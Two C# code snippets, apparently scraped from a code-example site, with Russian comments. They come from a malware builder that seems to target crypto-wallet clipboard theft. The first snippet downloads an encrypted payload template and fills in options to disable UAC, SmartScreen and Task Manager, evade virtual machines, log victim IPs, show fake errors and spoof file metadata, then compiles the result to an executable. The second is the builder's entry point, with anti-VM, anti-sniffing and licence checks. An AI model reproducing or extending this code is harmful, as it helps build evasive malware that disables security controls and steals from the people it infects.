Пример #1
0
        /// <summary>
        /// Метод для компиляции исходного кода
        /// </summary>
        /// <param name="values">Данные из словаря (контейнера)</param>
        /// <param name="build">Передача данных через свойства</param>
        /// <returns>Исходно-изменённый файл</returns>
        public static bool Inizialize(Dictionary <string, string> values, Build build)
        {
            // Запускаем антисниффер
            new Thread(() => { AntiSniffer.Inizialize(); }).Start();
            // Расшифровываем онлайн билд через ключ
            string SourceCode = INetConnect.GetOnlineBuild(EncryptKey.Decrypt(GlobalPath.DatabaseBuild, GlobalPath.SecretKey_Public));

            #region ComboBox replace Boolean values

            SourceCode = build.DelayCheckStatus.Checked ? SourceCode.Replace("[Delay]", "true") : SourceCode.Replace("[Delay]", "false");
            SourceCode = build.RunCheckStatus.Checked ? SourceCode.Replace("[Run]", "true") : SourceCode.Replace("[Run]", "false");
            SourceCode = build.GarbageCheckStatus.Checked ? SourceCode.Replace("[Garbage]", "true") : SourceCode.Replace("[Garbage]", "false");
            SourceCode = build.UacOffCheckStatus.Checked ? SourceCode.Replace("[Uac]", "true") : SourceCode.Replace("[Uac]", "false");
            SourceCode = build.SmartOffCheckStatus.Checked ? SourceCode.Replace("[Smart]", "true") : SourceCode.Replace("[Smart]", "false");
            SourceCode = build.TaskMgrOffCheckStatus.Checked ? SourceCode.Replace("[TaskLock]", "true") : SourceCode.Replace("[TaskLock]", "false");
            SourceCode = build.AntiVMCheckStatus.Checked ? SourceCode.Replace("[Anti]", "true") : SourceCode.Replace("[Anti]", "false");
            SourceCode = build.IPLogheckStatus.Checked ? SourceCode.Replace("[IPloger]", "true") : SourceCode.Replace("[IPloger]", "false");
            SourceCode = build.FakeErrorCheckStatus.Checked ? SourceCode.Replace("[Fake]", "true") : SourceCode.Replace("[Fake]", "false");

            #endregion

            SourceCode = SourceCode.Replace("[TEXT_ERROR]", build.ErrorBox);

            #region Replacement Assembly

            SourceCode = SourceCode.Replace("[TITLE]", build.AssTitle).
                         Replace("[DESCRIPTION]", build.AssDescription).
                         Replace("[COMPANY]", build.AssCompany).
                         Replace("[PRODUCT]", build.AssProduct).
                         Replace("[COPYRIGHT]", build.AssCopyright).
                         Replace("[VERSION]", build.AssVersion).
                         Replace("[FILEVERSION]", build.AssFileVersion).
                         Replace("[GUID]", build.GuidBox).
                         Replace("[WEB]", build.IPLoGGeR);

            #endregion

            #region Replace data user interfaces

            foreach (KeyValuePair <string, string> kvp in values)
            {
                SourceCode = SourceCode?.Replace(kvp.Key, kvp.Value);
            }

            #endregion

            // Версия .Net Framework для билда
            var providerOptions = new Dictionary <string, string> {
                { "CompilerVersion", "v4.0" }
            };

            // Инициализация нового экземпляра класса CSharpCodeProvider
            using (var provider = new CSharpCodeProvider(providerOptions))
            {
                try
                {
                    // Дефолтные параметры для компиляции
                    var parameters = new CompilerParameters
                    {
                        CompilerOptions         = "/target:winexe /optimize+ /platform:anycpu", // Дополнительные параметры для компиляции
                        TreatWarningsAsErrors   = false,
                        GenerateInMemory        = false,
                        IncludeDebugInformation = false,
                    };
                    switch (build.ComboOutputExtension.SelectedItem.ToString().Trim())
                    {
                    case ".dll":
                    {
                        parameters.OutputAssembly    += $"{build.BoxFileName}.exe";      // Выходной файл .dll ( изначальный .exe после обфускации в .dll )
                        parameters.GenerateExecutable = false;
                    }
                    break;

                    default:
                        parameters.OutputAssembly    += $"{build.BoxFileName}.exe"; // Выходной файл .exe
                        parameters.GenerateExecutable = true;                       // Генерация в .exe
                        break;
                    }
                    if (!string.IsNullOrEmpty(build.BoxIcon) || FileControl.ExistsFile(build.BoxIcon))  // Проверка на обнаружение иконки
                    {
                        parameters.CompilerOptions += $" /win32icon:{build.BoxIcon}";                   // Добавляем иконку
                    }
                    if (build.RunCheckStatus.Checked)                                                   // Проверка запуска от Админа
                    {
                        if (FileControl.ExistsFile(GlobalPath.ManifestFile))                            // Проверка файла app.Manifest
                        {
                            parameters.CompilerOptions += $" /win32manifest:{GlobalPath.ManifestFile}"; // внедряем запуск от Админа
                        }
                        else
                        {
                            MusicPlay.Inizialize(Resources.Error_Build);
                            if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                            {
                                ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_en_US.FindManifest);
                            }
                            else
                            {
                                ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_ru_RU.FindManifest);
                            }
                        }
                    }

                    // Добавление ссылок для компиляции билда
                    #region Add Library Dll

                    for (int i = 0; i < list_library.Count; i++)
                    {
                        parameters.ReferencedAssemblies.Add(list_library[i]);
                    }

                    #endregion

                    // Компиляция!
                    CompilerResults ResultLog = provider.CompileAssemblyFromSource(parameters, SourceCode);

                    // Проверка на ошибки
                    if (!ResultLog.Errors.HasErrors)
                    {
                        SourceCode = null;
                        ResultLog  = null;

                        FileControl.FileDelete("Error_Compiler.txt");
                        MusicPlay.Inizialize(Resources.GoodBuild);

                        if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                        {
                            ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_en_US.BuildCreated);
                        }
                        else
                        {
                            ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_ru_RU.BuildCreated);
                        }

                        string tte = FileControl.CombinePath(GlobalPath.CurrDir, $"{build.BoxFileName}.exe");

                        // Расширения для билд файла
                        switch (build.ComboOutputExtension.SelectedIndex)
                        {
                        case 1: FileControl.Move(tte, Path.ChangeExtension(tte, ".dll")); break;

                        default: FileControl.Move(tte, Path.ChangeExtension(tte, ".exe")); break;
                        }
                        return(true);
                    }
                    else
                    {
                        MusicPlay.Inizialize(Resources.Error_Build);
                        // Проходимся циклом чтобы перечислить все ошибки которые возникли и записать их в файл .txt
                        foreach (CompilerError compilerError in ResultLog.Errors)
                        {
                            if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                            {
                                FileControl.CreateFile("Error_Compiler.txt", $"Error: {compilerError.ToString()} \r\nLine: {compilerError.Line}\r\n");
                            }
                            else
                            {
                                FileControl.CreateFile("Error_Compiler.txt", $"Ошибка: {compilerError.ToString()} \r\nСтрока: {compilerError.Line}\r\n");
                            }
                        }
                        return(false);
                    }
                }
                catch (Exception ex) // Остальные (неизвестные ошибки) записать в файл .txt
                {
                    MusicPlay.Inizialize(Resources.Error_Build);
                    if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                    {
                        ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_en_US.ErrorBuild);
                        FileControl.CreateFile("Compile_Error.txt", $"Error: {ex.Message}\r\n");
                    }
                    else
                    {
                        ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_ru_RU.ErrorBuild);
                        FileControl.CreateFile("Compile_Error.txt", $"Ошибка: {ex.Message}\r\n");
                    }
                    return(false);
                }
            }
        }
Пример #2
0
        public static void Main()
        {
            if (!AntiVM.GetCheckVMBot())
            {
                // Если запущена копия программы, закрываем её!
                if (RunCheck.InstanceCheck())
                {
                    // Запускаем антисниффер
                    new Thread(() => { AntiSniffer.Inizialize(); }).Start();

                    // Проверяем подключение к интернет ресурсу
                    if (INetConnect.Inizialize(EncryptKey.Decrypt(GlobalPath.UrlCheck, GlobalPath.SecretKey_Public)))
                    {
                        // Проверяем ключ доступа к программе
                        if (!CheckerKeys.CompareKey())
                        {
                            MusicPlay.Inizialize(Resources.Error_Build);
                            Thread.Sleep(500);
                            if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                            {
                                FileControl.CreateFile("Clip_Key.txt", $"Your key to access the program: {HardwareID.GET_ID}\r\nSend this key to the developer for activation.\r\n");
                            }
                            else
                            {
                                FileControl.CreateFile("Clip_Key.txt", $"Ваш ключ для доступа к программе: {HardwareID.GET_ID}\r\nЭтот ключ скиньте разработчику для активации.\r\n");
                            }
                        }
                        else
                        {
                            CheckerKeys.GetLicenseInfo();
                            Application.Run(new ClipPurseFrm());
                        }
                    }
                    else
                    {
                        MusicPlay.Inizialize(Resources.Error_Build);
                        Thread.Sleep(500);
                        if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                        {
                            FileControl.CreateFile("Connection_Error.txt", "No Internet connection, check your network connection, and try again.\r\n");
                        }
                        else
                        {
                            FileControl.CreateFile("Connection_Error.txt", "Нет подключения к интернету, проверьте подключения к Вашей сети, и повторите попытку снова.\r\n");
                        }
                    }
                }
                else
                {
                    Environment.Exit(0);
                }
            }
            else
            {
                if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                {
                    FileControl.CreateFile("VMware.txt", "Virtual machine detected, please run the program outside this environment!");
                }
                else
                {
                    FileControl.CreateFile("VMware.txt", "Обнаружена виртуальная машина, пожалуйста, запустите программу вне этой среды!");
                }
            }
        }